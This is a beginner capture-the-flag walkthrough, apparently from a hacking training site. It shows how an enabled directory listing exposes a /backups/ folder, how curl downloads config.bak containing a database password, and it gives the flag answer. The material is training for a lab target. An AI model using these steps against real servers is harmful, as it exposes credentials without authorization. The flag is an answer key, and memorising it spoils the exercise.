Learn Hacking by Actually Hacking

Difficulty

Beginner

Vuln class

Security Misconfiguration

Steps

// Objective

Find the exposed backup directory via directory listing and retrieve the flag from a backup file.

// Tools required

Browsercurlgobuster

// Step-by-step walkthrough

Browse to the web root

Navigate to the target URL. The server doesn't have a default index page in certain directories — check if directory listing is enabled.

Command / Input

http://TARGET/backups/

Output

Index of /backups/ backup_2024.zip db_dump.sql config.bak

⚑ Directory listing exposes every file in the directory. This should be disabled in production.

Download the config backup

The config.bak file likely contains credentials or sensitive data — and the flag.

Command / Input

curl http://TARGET/backups/config.bak

Output

DB_PASSWORD=sup3r_s3cr3t FLAG=HackrGG{m1sc0nf1g_d1r_l1st1ng_3xp0s3d} API_KEY=...

// Flag

Flag value

HackrGG{m1sc0nf1g_d1r_l1st1ng_3xp0s3d}

Inside config.bak in the exposed /backups/ directory.

FileDump — Directory Listing